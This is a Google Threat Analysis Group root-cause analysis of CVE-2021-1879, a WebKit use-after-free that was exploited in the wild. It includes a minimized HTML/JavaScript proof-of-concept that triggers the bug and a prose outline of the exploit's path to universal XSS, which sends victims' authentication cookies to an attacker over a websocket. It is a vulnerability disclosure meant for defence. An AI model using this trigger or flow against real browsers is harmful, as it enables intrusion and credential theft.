# CVE-2021-1879: Use-After-Free in QuickTimePluginReplacement

*Clement Lecigne, Google Threat Analysis Group*

## The Basics

**Disclosure or Patch Date:** 26 March 2021

**Product:** Apple WebKit (Safari)

**Advisory:** https://support.apple.com/en-us/HT212256

**Affected Versions:** 14.4.1 and previous

**First Patched Version:** 14.4.2

**Issue/Bug Report:** https://bugs.webkit.org/show_bug.cgi?id=223561

**Patch CL:**
https://github.com/WebKit/WebKit/commit/629d61f760e57cf322288f528a7fcd318dd14327

**Bug-Introducing CL:**
https://github.com/WebKit/WebKit/commit/5f980f44880269f6e273853961097fcc55cca094
FIXME added in
https://github.com/WebKit/WebKit/commit/9b04ff6bea713b87c903f06b0ac6518bce0d2c4b

**Reporter(s):** Clement Lecigne of Google Threat Analysis Group and Billy
Leonard of Google Threat Analysis Group

## The Code

**Proof-of-concept:**

Minimized version created from the original exploit:

*   index.html:

```html
<script>
var idd = null;
function onl()
{
    idd = document.getElementById("idd");
    idd.onload = null;
    idd.src = 'http://127.0.0.1:8000/exp.html'
}
function f()
{
    idd.onload = g;
    idd.src = "http://127.0.0.1:8000/&foo=1";
}
function g()
{
    idd.onload = null;
    document.getElementById("cur").appendChild(document.createElement("a"));
}
</script>
<body>
<div id="id1"></div>
<div id="cur"></div><br>
<video id="vid"></video>
<iframe id="idd" style="display:none" onload="onl();"></iframe>
</body>
```

*   exp.html:

```html
<script>
var worker = null;
function start()
{
    worker = document.getElementById("worker");
    window.top.document.getElementById("cur").addEventListener("DOMNodeInserted", callback0);
    var intl = setInterval(function(){
        worker.GetURL.a = 777;
        window.top.f();
        clearInterval(intl);
    }, 1);
}
function callback0(ev) {
    window.requestAnimationFrame(callback);
}
function gc() {
    for (let i = 0; i < 0x40; i++) { new ArrayBuffer(0x1000000); }
}
function callback(ev) {
    gc();
    alert(worker.GetURL.a); // UAF here.
}
</script>
<body onload="start();">
<embed id="worker" src="data:video/mp4;"></embed>
</body>
```

**Exploit sample:** N/A

**Did you have access to the exploit sample when doing the analysis?** Yes

## The Vulnerability

**Bug class:** Use-after-free

**Vulnerability details:**

The QuickTimePluginReplacement plugin maintains an internal JSC script object
instance `m_scriptObject` which is wrongly configured and not properly
tracked by the garbage collector. A Use-After-Free can be triggered by referencing
external JSValues into the `m_scriptObject`, these JSValues will be freed while
calling `window.requestAnimationFrame` but their references will still be available
in the `m_scriptOject`.

Comments surrounding the declaration of `m_scriptObject` are actually hinting
for this wrong behavior.

```c
JSC::JSObject* m_scriptObject { nullptr }; // FIXME: Why is it safe to have this pointer here? What keeps it alive during GC?
```

**Patch analysis:**

The code of the plugin has been refactored to replace the "custom" `m_scriptObject`
instance by a `JSValueInWrappedObject` which is safer to use.

**Thoughts on how this vuln might have been found _(fuzzing, code auditing,
variant analysis, etc.)_:**

Technically this vulnerability could have been discovered via fuzzing but in
this specific case the vulnerability was likely discovered by auditing the code
manually. The FIXME added by the WebKit developper probably helped the
discovery.

**(Historical/present/future) context of bug:**

This bug was exploited by Russia/[Nobelium](https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/) to target iPhone users from various government officials. [Google TAG Blog](https://blog.google/threat-analysis-group/how-we-protect-users-0-day-attacks)

## The Exploit

(The terms *exploit primitive*, *exploit strategy*, *exploit technique*, and
*exploit flow* are
[defined here](https://googleprojectzero.blogspot.com/2020/06/a-survey-of-recent-ios-kernel-exploits.html).)

**Exploit strategy (or strategies):**

__Under analysis__

The attacker abused the vulnerability to create a type confusion and forge
powerful addrof/fakeobj primitives.

To ensure stability and avoid crashes during GC, the exploit makes sure to
restore previously corrupted objects before continuing further.

**Exploit flow:**

Once arbitrary read and write is achieved, the exploit modifies the internal
state of the renderer to turn the issue into an universal XSS.

In order to do this, the exploit is following this flow for each targeted
websites.

*   Create a websocket `w` connected to an attacker controled IP.
*   Set `m_universalAccess` to 1 inside the SecurityOrigin class by traversing a
    set of pointers.
*   Create a new URL object `u` poiting to the targeted domain.
*   Overwrite all
    [Document URLS](https://github.com/WebKit/WebKit/blob/88278b55563e5ccdc0b3419c6c391c3becc19e40/Source/WebCore/dom/Document.h#L1728)
    of the websocket `w` with the ones from the `u` URL.
*   Overwrite
    [m_url](https://github.com/WebKit/WebKit/blob/88278b55563e5ccdc0b3419c6c391c3becc19e40/Source/WebCore/dom/Document.h#L1728)
    field of the websocket `w` with the `u` URL.
*   Trigger a send on the websocket.
*   At the end of the websocket, attacker receives requests as they would be
    delivered to the targeted websites `u` including the authentication cookies
    for the targeted websites.

**Known cases of the same exploit flow:**

* Modifying `m_universalAccess` to bypass the same-origin policy is documented in this ["Attacking Javascript Engines" Phrack article](http://phrack.org/papers/attacking_javascript_engines.html).

**Part of an exploit chain?**

The exploit we discovered was only using this single bug. A sandbox escape was not required.

## The Next Steps

### Variant analysis

**Areas/approach for variant analysis (and why):**

*   To find very close variants, manually review similar issues in the other
    plugins where `JSC::JSObject` are used.
*   Manual audit `FIXME` comments left in source code and hinting at
    potential use-after-free bug.
*   Fuzz HTML elements with same callback sequences, potentially with a tool
    like [Domato](https://github.com/googleprojectzero/domato).

**Found variants:** N/A

### Structural improvements

What are structural improvements such as ways to kill the bug class, prevent the
introduction of this vulnerability, mitigate the exploit flow, make this type of
vulnerability harder to exploit, etc.?

**Ideas to kill the bug class:**

**Ideas to mitigate the exploit flow:**

*   Implementing [site isolation](https://www.chromium.org/Home/chromium-security/site-isolation) in WebKit like it's done in Firefox or Chrome.

**Other potential improvements:** N/A

### 0-day detection methods

What are potential detection methods for similar 0-days? Meaning are there any
ideas of how this exploit or similar exploits could be detected **as a 0-day**?

These types of exploits are likely hard to detect generically.

## Other References

* July 2021: ["How We Protect Users From 0-Day Attacks"](https://blog.google/threat-analysis-group/how-we-protect-users-0-day-attacks)
) by Google's Threat Analysis Group gives context about how this exploit was used.
* February 2020: [Forget the Sandbox Escape: Abusing Browsers from Code Execution](https://www.youtube.com/watch?v=a0yPYpmUpIA)
    by Amy Burnett